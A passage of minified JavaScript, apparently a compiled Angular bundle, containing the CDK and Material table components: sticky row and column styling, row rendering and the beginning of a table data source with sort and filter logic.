V1=Y1.children[T1];Me[T1]&&this._addStickyStyle(V1,h1,lt[T1],T1===p1),O[T1]&&this._addStickyStyle(V1,N1,Wt[T1],T1===w1)}this._positionListener&&(this._positionListener.stickyColumnsUpdated({sizes:-1===p1?[]:ke.slice(0,p1+1).map((Y1,T1)=>Me[T1]?Y1:null)}),this._positionListener.stickyEndColumnsUpdated({sizes:-1===w1?[]:ke.slice(w1).map((Y1,T1)=>O[T1+w1]?Y1:null).reverse()}))})}stickRows(vt,Me,O){if(!this._isBrowser)return;const de="bottom"===O?vt.slice().reverse():vt,h="bottom"===O?Me.slice().reverse():Me,$=[],ke=[],lt=[];for(let p1=0,w1=0;p1<de.length;p1++){if(!h[p1])continue;$[p1]=w1;const Qt=de[p1];lt[p1]=this._isNativeHtmlTable?Array.from(Qt.children):[Qt];const h1=Qt.getBoundingClientRect().height;w1+=h1,ke[p1]=h1}const Wt=h.lastIndexOf(!0);this._coalescedStyleScheduler.schedule(()=>{for(let p1=0;p1<de.length;p1++){if(!h[p1])continue;const w1=$[p1],Qt=p1===Wt;for(const h1 of lt[p1])this._addStickyStyle(h1,O,w1,Qt)}"top"===O?this._positionListener?.stickyHeaderRowsUpdated({sizes:ke,offsets:$,elements:lt}):this._positionListener?.stickyFooterRowsUpdated({sizes:ke,offsets:$,elements:lt})})}updateStickyFooterContainer(vt,Me){if(!this._isNativeHtmlTable)return;const O=vt.querySelector("tfoot");this._coalescedStyleScheduler.schedule(()=>{Me.some(de=>!de)?this._removeStickyStyle(O,["bottom"]):this._addStickyStyle(O,"bottom",0,!1)})}_removeStickyStyle(vt,Me){for(const de of Me)vt.style[de]="",vt.classList.remove(this._borderCellCss[de]);_e.some(de=>-1===Me.indexOf(de)&&vt.style[de])?vt.style.zIndex=this._getCalculatedZIndex(vt):(vt.style.zIndex="",this._needsPositionStickyOnElement&&(vt.style.position=""),vt.classList.remove(this._stickCellCss))}_addStickyStyle(vt,Me,O,de){vt.classList.add(this._stickCellCss),de&&vt.classList.add(this._borderCellCss[Me]),vt.style[Me]=`${O}px`,vt.style.zIndex=this._getCalculatedZIndex(vt),this._needsPositionStickyOnElement&&(vt.style.cssText+="position: -webkit-sticky; position: sticky; ")}_getCalculatedZIndex(vt){const Me={top:100,bottom:10,left:1,right:1};let O=0;for(const de of _e)vt.style[de]&&(O+=Me[de]);return O?`${O}`:""}_getCellWidths(vt,Me=!0){if(!Me&&this._cachedCellWidths.length)return this._cachedCellWidths;const O=[],de=vt.children;for(let h=0;h<de.length;h++)O.push(de[h].getBoundingClientRect().width);return this._cachedCellWidths=O,O}_getStickyStartColumnPositions(vt,Me){const O=[];let de=0;for(let h=0;h<vt.length;h++)Me[h]&&(O[h]=de,de+=vt[h]);return O}_getStickyEndColumnPositions(vt,Me){const O=[];let de=0;for(let h=vt.length;h>0;h--)Me[h]&&(O[h]=de,de+=vt[h]);return O}}const b=new n.OlP("CDK_SPL");let ie=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","rowOutlet",""]]}),Ge})(),Xe=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","headerRowOutlet",""]]}),Ge})(),it=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","footerRowOutlet",""]]}),Ge})(),wt=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","noDataRowOutlet",""]]}),Ge})(),qt=(()=>{class Ge{constructor(Me,O,de,h,$,ke,lt,Wt,p1,w1,Qt,h1){this._differs=Me,this._changeDetectorRef=O,this._elementRef=de,this._dir=$,this._platform=lt,this._viewRepeater=Wt,this._coalescedStyleScheduler=p1,this._viewportRuler=w1,this._stickyPositioningListener=Qt,this._ngZone=h1,this._onDestroy=new _.xQ,this._columnDefsByName=new Map,this._customColumnDefs=new Set,this._customRowDefs=new Set,this._customHeaderRowDefs=new Set,this._customFooterRowDefs=new Set,this._headerRowDefChanged=!0,this._footerRowDefChanged=!0,this._stickyColumnStylesNeedReset=!0,this._forceRecalculateCellWidths=!0,this._cachedRenderRowsMap=new Map,this.stickyCssClass="cdk-table-sticky",this.needsPositionStickyOnElement=!0,this._isShowingNoDataRow=!1,this._multiTemplateDataRows=!1,this._fixedLayout=!1,this.contentChanged=new n.vpe,this.viewChange=new g.X({start:0,end:Number.MAX_VALUE}),h||this._elementRef.nativeElement.setAttribute("role","table"),this._document=ke,this._isNativeHtmlTable="TABLE"===this._elementRef.nativeElement.nodeName}get trackBy(){return this._trackByFn}set trackBy(Me){this._trackByFn=Me}get dataSource(){return this._dataSource}set dataSource(Me){this._dataSource!==Me&&this._switchDataSource(Me)}get multiTemplateDataRows(){return this._multiTemplateDataRows}set multiTemplateDataRows(Me){this._multiTemplateDataRows=(0,s.Ig)(Me),this._rowOutlet&&this._rowOutlet.viewContainer.length&&(this._forceRenderDataRows(),this.updateStickyColumnStyles())}get fixedLayout(){return this._fixedLayout}set fixedLayout(Me){this._fixedLayout=(0,s.Ig)(Me),this._forceRecalculateCellWidths=!0,this._stickyColumnStylesNeedReset=!0}ngOnInit(){this._setupStickyStyler(),this._isNativeHtmlTable&&this._applyNativeTableSections(),this._dataDiffer=this._differs.find([]).create((Me,O)=>this.trackBy?this.trackBy(O.dataIndex,O.data):O),this._viewportRuler.change().pipe((0,H.R)(this._onDestroy)).subscribe(()=>{this._forceRecalculateCellWidths=!0})}ngAfterContentChecked(){this._cacheRowDefs(),this._cacheColumnDefs();const O=this._renderUpdatedColumns()||this._headerRowDefChanged||this._footerRowDefChanged;this._stickyColumnStylesNeedReset=this._stickyColumnStylesNeedReset||O,this._forceRecalculateCellWidths=O,this._headerRowDefChanged&&(this._forceRenderHeaderRows(),this._headerRowDefChanged=!1),this._footerRowDefChanged&&(this._forceRenderFooterRows(),this._footerRowDefChanged=!1),this.dataSource&&this._rowDefs.length>0&&!this._renderChangeSubscription?this._observeRenderChanges():this._stickyColumnStylesNeedReset&&this.updateStickyColumnStyles(),this._checkStickyStates()}ngOnDestroy(){[this._rowOutlet.viewContainer,this._headerRowOutlet.viewContainer,this._footerRowOutlet.viewContainer,this._cachedRenderRowsMap,this._customColumnDefs,this._customRowDefs,this._customHeaderRowDefs,this._customFooterRowDefs,this._columnDefsByName].forEach(Me=>{Me.clear()}),this._headerRowDefs=[],this._footerRowDefs=[],this._defaultRowDef=null,this._onDestroy.next(),this._onDestroy.complete(),(0,u.Z9)(this.dataSource)&&this.dataSource.disconnect(this)}renderRows(){this._renderRows=this._getAllRenderRows();const Me=this._dataDiffer.diff(this._renderRows);if(!Me)return this._updateNoDataRow(),void this.contentChanged.next();const O=this._rowOutlet.viewContainer;this._viewRepeater.applyChanges(Me,O,(de,h,$)=>this._getEmbeddedViewArgs(de.item,$),de=>de.item.data,de=>{1===de.operation&&de.context&&this._renderCellTemplateForItem(de.record.item.rowDef,de.context)}),this._updateRowIndexContext(),Me.forEachIdentityChange(de=>{O.get(de.currentIndex).context.$implicit=de.item.data}),this._updateNoDataRow(),this._ngZone&&n.R0b.isInAngularZone()?this._ngZone.onStable.pipe((0,j.q)(1),(0,H.R)(this._onDestroy)).subscribe(()=>{this.updateStickyColumnStyles()}):this.updateStickyColumnStyles(),this.contentChanged.next()}addColumnDef(Me){this._customColumnDefs.add(Me)}removeColumnDef(Me){this._customColumnDefs.delete(Me)}addRowDef(Me){this._customRowDefs.add(Me)}removeRowDef(Me){this._customRowDefs.delete(Me)}addHeaderRowDef(Me){this._customHeaderRowDefs.add(Me),this._headerRowDefChanged=!0}removeHeaderRowDef(Me){this._customHeaderRowDefs.delete(Me),this._headerRowDefChanged=!0}addFooterRowDef(Me){this._customFooterRowDefs.add(Me),this._footerRowDefChanged=!0}removeFooterRowDef(Me){this._customFooterRowDefs.delete(Me),this._footerRowDefChanged=!0}setNoDataRow(Me){this._customNoDataRow=Me}updateStickyHeaderRowStyles(){const Me=this._getRenderedRows(this._headerRowOutlet),de=this._elementRef.nativeElement.querySelector("thead");de&&(de.style.display=Me.length?"":"none");const h=this._headerRowDefs.map($=>$.sticky);this._stickyStyler.clearStickyPositioning(Me,["top"]),this._stickyStyler.stickRows(Me,h,"top"),this._headerRowDefs.forEach($=>$.resetStickyChanged())}updateStickyFooterRowStyles(){const Me=this._getRenderedRows(this._footerRowOutlet),de=this._elementRef.nativeElement.querySelector("tfoot");de&&(de.style.display=Me.length?"":"none");const h=this._footerRowDefs.map($=>$.sticky);this._stickyStyler.clearStickyPositioning(Me,["bottom"]),this._stickyStyler.stickRows(Me,h,"bottom"),this._stickyStyler.updateStickyFooterContainer(this._elementRef.nativeElement,h),this._footerRowDefs.forEach($=>$.resetStickyChanged())}updateStickyColumnStyles(){const Me=this._getRenderedRows(this._headerRowOutlet),O=this._getRenderedRows(this._rowOutlet),de=this._getRenderedRows(this._footerRowOutlet);(this._isNativeHtmlTable&&!this._fixedLayout||this._stickyColumnStylesNeedReset)&&(this._stickyStyler.clearStickyPositioning([...Me,...O,...de],["left","right"]),this._stickyColumnStylesNeedReset=!1),Me.forEach((h,$)=>{this._addStickyColumnStyles([h],this._headerRowDefs[$])}),this._rowDefs.forEach(h=>{const $=[];for(let ke=0;ke<O.length;ke++)this._renderRows[ke].rowDef===h&&$.push(O[ke]);this._addStickyColumnStyles($,h)}),de.forEach((h,$)=>{this._addStickyColumnStyles([h],this._footerRowDefs[$])}),Array.from(this._columnDefsByName.values()).forEach(h=>h.resetStickyChanged())}_getAllRenderRows(){const Me=[],O=this._cachedRenderRowsMap;this._cachedRenderRowsMap=new Map;for(let de=0;de<this._data.length;de++){let h=this._data[de];const $=this._getRenderRowsForData(h,de,O.get(h));this._cachedRenderRowsMap.has(h)||this._cachedRenderRowsMap.set(h,new WeakMap);for(let ke=0;ke<$.length;ke++){let lt=$[ke];const Wt=this._cachedRenderRowsMap.get(lt.data);Wt.has(lt.rowDef)?Wt.get(lt.rowDef).push(lt):Wt.set(lt.rowDef,[lt]),Me.push(lt)}}return Me}_getRenderRowsForData(Me,O,de){return this._getRowDefs(Me,O).map($=>{const ke=de&&de.has($)?de.get($):[];if(ke.length){const lt=ke.shift();return lt.dataIndex=O,lt}return{data:Me,rowDef:$,dataIndex:O}})}_cacheColumnDefs(){this._columnDefsByName.clear(),u1(this._getOwnDefs(this._contentColumnDefs),this._customColumnDefs).forEach(O=>{this._columnDefsByName.has(O.name),this._columnDefsByName.set(O.name,O)})}_cacheRowDefs(){this._headerRowDefs=u1(this._getOwnDefs(this._contentHeaderRowDefs),this._customHeaderRowDefs),this._footerRowDefs=u1(this._getOwnDefs(this._contentFooterRowDefs),this._customFooterRowDefs),this._rowDefs=u1(this._getOwnDefs(this._contentRowDefs),this._customRowDefs);const Me=this._rowDefs.filter(O=>!O.when);this._defaultRowDef=Me[0]}_renderUpdatedColumns(){const Me=($,ke)=>$||!!ke.getColumnsDiff(),O=this._rowDefs.reduce(Me,!1);O&&this._forceRenderDataRows();const de=this._headerRowDefs.reduce(Me,!1);de&&this._forceRenderHeaderRows();const h=this._footerRowDefs.reduce(Me,!1);return h&&this._forceRenderFooterRows(),O||de||h}_switchDataSource(Me){this._data=[],(0,u.Z9)(this.dataSource)&&this.dataSource.disconnect(this),this._renderChangeSubscription&&(this._renderChangeSubscription.unsubscribe(),this._renderChangeSubscription=null),Me||(this._dataDiffer&&this._dataDiffer.diff([]),this._rowOutlet.viewContainer.clear()),this._dataSource=Me}_observeRenderChanges(){if(!this.dataSource)return;let Me;(0,u.Z9)(this.dataSource)?Me=this.dataSource.connect(this):(0,C.b)(this.dataSource)?Me=this.dataSource:Array.isArray(this.dataSource)&&(Me=(0,z.of)(this.dataSource)),this._renderChangeSubscription=Me.pipe((0,H.R)(this._onDestroy)).subscribe(O=>{this._data=O||[],this.renderRows()})}_forceRenderHeaderRows(){this._headerRowOutlet.viewContainer.length>0&&this._headerRowOutlet.viewContainer.clear(),this._headerRowDefs.forEach((Me,O)=>this._renderRow(this._headerRowOutlet,Me,O)),this.updateStickyHeaderRowStyles()}_forceRenderFooterRows(){this._footerRowOutlet.viewContainer.length>0&&this._footerRowOutlet.viewContainer.clear(),this._footerRowDefs.forEach((Me,O)=>this._renderRow(this._footerRowOutlet,Me,O)),this.updateStickyFooterRowStyles()}_addStickyColumnStyles(Me,O){const de=Array.from(O.columns||[]).map(ke=>this._columnDefsByName.get(ke)),h=de.map(ke=>ke.sticky),$=de.map(ke=>ke.stickyEnd);this._stickyStyler.updateStickyColumns(Me,h,$,!this._fixedLayout||this._forceRecalculateCellWidths)}_getRenderedRows(Me){const O=[];for(let de=0;de<Me.viewContainer.length;de++){const h=Me.viewContainer.get(de);O.push(h.rootNodes[0])}return O}_getRowDefs(Me,O){if(1==this._rowDefs.length)return[this._rowDefs[0]];let de=[];if(this.multiTemplateDataRows)de=this._rowDefs.filter(h=>!h.when||h.when(O,Me));else{let h=this._rowDefs.find($=>$.when&&$.when(O,Me))||this._defaultRowDef;h&&de.push(h)}return de}_getEmbeddedViewArgs(Me,O){return{templateRef:Me.rowDef.template,context:{$implicit:Me.data},index:O}}_renderRow(Me,O,de,h={}){const $=Me.viewContainer.createEmbeddedView(O.template,h,de);return this._renderCellTemplateForItem(O,h),$}_renderCellTemplateForItem(Me,O){for(let de of this._getCellTemplates(Me))pe.mostRecentCellOutlet&&pe.mostRecentCellOutlet._viewContainer.createEmbeddedView(de,O);this._changeDetectorRef.markForCheck()}_updateRowIndexContext(){const Me=this._rowOutlet.viewContainer;for(let O=0,de=Me.length;O<de;O++){const $=Me.get(O).context;$.count=de,$.first=0===O,$.last=O===de-1,$.even=O%2==0,$.odd=!$.even,this.multiTemplateDataRows?($.dataIndex=this._renderRows[O].dataIndex,$.renderIndex=O):$.index=this._renderRows[O].dataIndex}}_getCellTemplates(Me){return Me&&Me.columns?Array.from(Me.columns,O=>{const de=this._columnDefsByName.get(O);return Me.extractCellTemplate(de)}):[]}_applyNativeTableSections(){const Me=this._document.createDocumentFragment(),O=[{tag:"thead",outlets:[this._headerRowOutlet]},{tag:"tbody",outlets:[this._rowOutlet,this._noDataRowOutlet]},{tag:"tfoot",outlets:[this._footerRowOutlet]}];for(const de of O){const h=this._document.createElement(de.tag);h.setAttribute("role","rowgroup");for(const $ of de.outlets)h.appendChild($.elementRef.nativeElement);Me.appendChild(h)}this._elementRef.nativeElement.appendChild(Me)}_forceRenderDataRows(){this._dataDiffer.diff([]),this._rowOutlet.viewContainer.clear(),this.renderRows()}_checkStickyStates(){const Me=(O,de)=>O||de.hasStickyChanged();this._headerRowDefs.reduce(Me,!1)&&this.updateStickyHeaderRowStyles(),this._footerRowDefs.reduce(Me,!1)&&this.updateStickyFooterRowStyles(),Array.from(this._columnDefsByName.values()).reduce(Me,!1)&&(this._stickyColumnStylesNeedReset=!0,this.updateStickyColumnStyles())}_setupStickyStyler(){this._stickyStyler=new ct(this._isNativeHtmlTable,this.stickyCssClass,this._dir?this._dir.value:"ltr",this._coalescedStyleScheduler,this._platform.isBrowser,this.needsPositionStickyOnElement,this._stickyPositioningListener),(this._dir?this._dir.change:(0,z.of)()).pipe((0,H.R)(this._onDestroy)).subscribe(O=>{this._stickyStyler.direction=O,this.updateStickyColumnStyles()})}_getOwnDefs(Me){return Me.filter(O=>!O._table||O._table===this)}_updateNoDataRow(){const Me=this._customNoDataRow||this._noDataRow;if(!Me)return;const O=0===this._rowOutlet.viewContainer.length;if(O===this._isShowingNoDataRow)return;const de=this._noDataRowOutlet.viewContainer;if(O){const h=de.createEmbeddedView(Me.templateRef),$=h.rootNodes[0];1===h.rootNodes.length&&$?.nodeType===this._document.ELEMENT_NODE&&($.setAttribute("role","row"),$.classList.add(Me._contentClassName))}else de.clear();this._isShowingNoDataRow=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.ZZ4),n.Y36(n.sBO),n.Y36(n.SBq),n.$8M("role"),n.Y36(a.Is,8),n.Y36(E.K0),n.Y36(c.t4),n.Y36(u.k),n.Y36(qe),n.Y36(f.rL),n.Y36(b,12),n.Y36(n.R0b,8))},Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["cdk-table"],["table","cdk-table",""]],contentQueries:function(Me,O,de){if(1&Me&&(n.Suo(de,X,5),n.Suo(de,je,5),n.Suo(de,Be,5),n.Suo(de,re,5),n.Suo(de,xt,5)),2&Me){let h;n.iGM(h=n.CRH())&&(O._noDataRow=h.first),n.iGM(h=n.CRH())&&(O._contentColumnDefs=h),n.iGM(h=n.CRH())&&(O._contentRowDefs=h),n.iGM(h=n.CRH())&&(O._contentHeaderRowDefs=h),n.iGM(h=n.CRH())&&(O._contentFooterRowDefs=h)}},viewQuery:function(Me,O){if(1&Me&&(n.Gf(ie,7),n.Gf(Xe,7),n.Gf(it,7),n.Gf(wt,7)),2&Me){let de;n.iGM(de=n.CRH())&&(O._rowOutlet=de.first),n.iGM(de=n.CRH())&&(O._headerRowOutlet=de.first),n.iGM(de=n.CRH())&&(O._footerRowOutlet=de.first),n.iGM(de=n.CRH())&&(O._noDataRowOutlet=de.first)}},hostAttrs:[1,"cdk-table"],hostVars:2,hostBindings:function(Me,O){2&Me&&n.ekj("cdk-table-fixed-layout",O.fixedLayout)},inputs:{trackBy:"trackBy",dataSource:"dataSource",multiTemplateDataRows:"multiTemplateDataRows",fixedLayout:"fixedLayout"},outputs:{contentChanged:"contentChanged"},exportAs:["cdkTable"],features:[n._Bn([{provide:k,useExisting:Ge},{provide:u.k,useClass:u.yy},{provide:qe,useClass:Ke},{provide:b,useValue:null}])],ngContentSelectors:G,decls:6,vars:0,consts:[["headerRowOutlet",""],["rowOutlet",""],["noDataRowOutlet",""],["footerRowOutlet",""]],template:function(Me,O){1&Me&&(n.F$t(U),n.Hsn(0),n.Hsn(1,1),n.GkF(2,0)(3,1)(4,2)(5,3))},dependencies:[ie,Xe,it,wt],styles:[".cdk-table-fixed-layout{table-layout:fixed}"],encapsulation:2}),Ge})();function u1(Ge,vt){return Ge.concat(Array.from(vt))}let _t=(()=>{class Ge{}return Ge.\\u0275fac=function(Me){return new(Me||Ge)},Ge.\\u0275mod=n.oAB({type:Ge}),Ge.\\u0275inj=n.cJS({imports:[f.Cl]}),Ge})();var kt=d(3238),Fe=d(6787),be=d(3426),Pe=d(4850);const Re=[[["caption"]],[["colgroup"],["col"]]],Ue=["caption","colgroup, col"];let mt=(()=>{class Ge extends qt{constructor(){super(...arguments),this.stickyCssClass="mat-table-sticky",this.needsPositionStickyOnElement=!1}}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-table"],["table","mat-table",""]],hostAttrs:[1,"mat-table"],hostVars:2,hostBindings:function(Me,O){2&Me&&n.ekj("mat-table-fixed-layout",O.fixedLayout)},exportAs:["matTable"],features:[n._Bn([{provide:u.k,useClass:u.yy},{provide:qt,useExisting:Ge},{provide:k,useExisting:Ge},{provide:qe,useClass:Ke},{provide:b,useValue:null}]),n.qOj],ngContentSelectors:Ue,decls:6,vars:0,consts:[["headerRowOutlet",""],["rowOutlet",""],["noDataRowOutlet",""],["footerRowOutlet",""]],template:function(Me,O){1&Me&&(n.F$t(Re),n.Hsn(0),n.Hsn(1,1),n.GkF(2,0)(3,1)(4,2)(5,3))},dependencies:[ie,Xe,it,wt],styles:["mat-table{display:block}mat-header-row{min-height:56px}mat-row,mat-footer-row{min-height:48px}mat-row,mat-header-row,mat-footer-row{display:flex;border-width:0;border-bottom-width:1px;border-style:solid;align-items:center;box-sizing:border-box}mat-cell:first-of-type,mat-header-cell:first-of-type,mat-footer-cell:first-of-type{padding-left:24px}[dir=rtl] mat-cell:first-of-type:not(:only-of-type),[dir=rtl] mat-header-cell:first-of-type:not(:only-of-type),[dir=rtl] mat-footer-cell:first-of-type:not(:only-of-type){padding-left:0;padding-right:24px}mat-cell:last-of-type,mat-header-cell:last-of-type,mat-footer-cell:last-of-type{padding-right:24px}[dir=rtl] mat-cell:last-of-type:not(:only-of-type),[dir=rtl] mat-header-cell:last-of-type:not(:only-of-type),[dir=rtl] mat-footer-cell:last-of-type:not(:only-of-type){padding-right:0;padding-left:24px}mat-cell,mat-header-cell,mat-footer-cell{flex:1;display:flex;align-items:center;overflow:hidden;word-wrap:break-word;min-height:inherit}table.mat-table{border-spacing:0}tr.mat-header-row{height:56px}tr.mat-row,tr.mat-footer-row{height:48px}th.mat-header-cell{text-align:left}[dir=rtl] th.mat-header-cell{text-align:right}th.mat-header-cell,td.mat-cell,td.mat-footer-cell{padding:0;border-bottom-width:1px;border-bottom-style:solid}th.mat-header-cell:first-of-type,td.mat-cell:first-of-type,td.mat-footer-cell:first-of-type{padding-left:24px}[dir=rtl] th.mat-header-cell:first-of-type:not(:only-of-type),[dir=rtl] td.mat-cell:first-of-type:not(:only-of-type),[dir=rtl] td.mat-footer-cell:first-of-type:not(:only-of-type){padding-left:0;padding-right:24px}th.mat-header-cell:last-of-type,td.mat-cell:last-of-type,td.mat-footer-cell:last-of-type{padding-right:24px}[dir=rtl] th.mat-header-cell:last-of-type:not(:only-of-type),[dir=rtl] td.mat-cell:last-of-type:not(:only-of-type),[dir=rtl] td.mat-footer-cell:last-of-type:not(:only-of-type){padding-right:0;padding-left:24px}.mat-table-sticky{position:sticky !important}.mat-table-fixed-layout{table-layout:fixed}"],encapsulation:2}),Ge})(),Ct=(()=>{class Ge extends se{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matCellDef",""]],features:[n._Bn([{provide:se,useExisting:Ge}]),n.qOj]}),Ge})(),jt=(()=>{class Ge extends ee{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matHeaderCellDef",""]],features:[n._Bn([{provide:ee,useExisting:Ge}]),n.qOj]}),Ge})(),pt=(()=>{class Ge extends q{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matFooterCellDef",""]],features:[n._Bn([{provide:q,useExisting:Ge}]),n.qOj]}),Ge})(),nt=(()=>{class Ge extends je{get name(){return this._name}set name(Me){this._setNameInput(Me)}_updateColumnCssClassName(){super._updateColumnCssClassName(),this._columnCssClassName.push(`mat-column-${this.cssClassFriendlyName}`)}}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matColumnDef",""]],inputs:{sticky:"sticky",name:["matColumnDef","name"]},features:[n._Bn([{provide:je,useExisting:Ge},{provide:"MAT_SORT_HEADER_COLUMN_DEF",useExisting:Ge}]),n.qOj]}),Ge})(),fe=(()=>{class Ge extends le{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["mat-header-cell"],["th","mat-header-cell",""]],hostAttrs:["role","columnheader",1,"mat-header-cell"],features:[n.qOj]}),Ge})(),Ee=(()=>{class Ge extends Oe{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["mat-footer-cell"],["td","mat-footer-cell",""]],hostAttrs:["role","gridcell",1,"mat-footer-cell"],features:[n.qOj]}),Ge})(),at=(()=>{class Ge extends Qe{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["mat-cell"],["td","mat-cell",""]],hostAttrs:["role","gridcell",1,"mat-cell"],features:[n.qOj]}),Ge})(),Se=(()=>{class Ge extends re{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matHeaderRowDef",""]],inputs:{columns:["matHeaderRowDef","columns"],sticky:["matHeaderRowDefSticky","sticky"]},features:[n._Bn([{provide:re,useExisting:Ge}]),n.qOj]}),Ge})(),ot=(()=>{class Ge extends xt{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matFooterRowDef",""]],inputs:{columns:["matFooterRowDef","columns"],sticky:["matFooterRowDefSticky","sticky"]},features:[n._Bn([{provide:xt,useExisting:Ge}]),n.qOj]}),Ge})(),Ne=(()=>{class Ge extends Be{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matRowDef",""]],inputs:{columns:["matRowDefColumns","columns"],when:["matRowDefWhen","when"]},features:[n._Bn([{provide:Be,useExisting:Ge}]),n.qOj]}),Ge})(),ut=(()=>{class Ge extends P{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-header-row"],["tr","mat-header-row",""]],hostAttrs:["role","row",1,"mat-header-row"],exportAs:["matHeaderRow"],features:[n._Bn([{provide:P,useExisting:Ge}]),n.qOj],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),Rt=(()=>{class Ge extends w{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-footer-row"],["tr","mat-footer-row",""]],hostAttrs:["role","row",1,"mat-footer-row"],exportAs:["matFooterRow"],features:[n._Bn([{provide:w,useExisting:Ge}]),n.qOj],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),Zt=(()=>{class Ge extends R{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-row"],["tr","mat-row",""]],hostAttrs:["role","row",1,"mat-row"],exportAs:["matRow"],features:[n._Bn([{provide:R,useExisting:Ge}]),n.qOj],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),gn=(()=>{class Ge{}return Ge.\\u0275fac=function(Me){return new(Me||Ge)},Ge.\\u0275mod=n.oAB({type:Ge}),Ge.\\u0275inj=n.cJS({imports:[_t,kt.BQ,kt.BQ]}),Ge})();class P1 extends u.o2{constructor(vt=[]){super(),this._renderData=new g.X([]),this._filter=new g.X(""),this._internalPageChanges=new _.xQ,this._renderChangesSubscription=null,this.sortingDataAccessor=(Me,O)=>{const de=Me[O];if((0,s.t6)(de)){const h=Number(de);return h<9007199254740991?h:de}return de},this.sortData=(Me,O)=>{const de=O.active,h=O.direction;return de&&""!=h?Me.sort(($,ke)=>{let lt=this.sortingDataAccessor($,de),Wt=this.sortingDataAccessor(ke,de);const p1=typeof lt,w1=typeof Wt;p1!==w1&&("number"===p1&&(lt+=""),"number"===w1&&(Wt+=""));let Qt=0;return null!=lt&&null!=Wt?lt>Wt?Qt=1:lt<Wt&&(Qt=-1):null!=lt?Qt=1:null!=Wt&&(Qt=-1),Qt*("asc"==h?1:-1)}):Me},this.filterPredicate=(Me,O)=>{const de=Object.keys(Me).reduce(($,ke)=>$+Me[ke]+"\\u25ec","").toLowerCase(),h=O.trim().toLowerCase();return-1!=de.indexOf(h)},this._data=new g.X(vt),this._updateChangeSubscription()}get data(){return this._data.value}set data(vt){vt=Array.isArray(vt)?vt:[],this._data.next(vt),this._renderChangesSubscription||this._filterData(vt)}get filter(){return this._filter.value}set filter(vt){this._filter.next(vt),this._renderChangesSubscription||this._filterData(this.data)}get sort(){return this._sort}set sort(vt){this._sort=vt,this._updateChangeSubscription()}get paginator(){return this._paginator}set paginator(vt){this._paginator=vt,this._updateChangeSubscription()}_updateChangeSubscription(){const 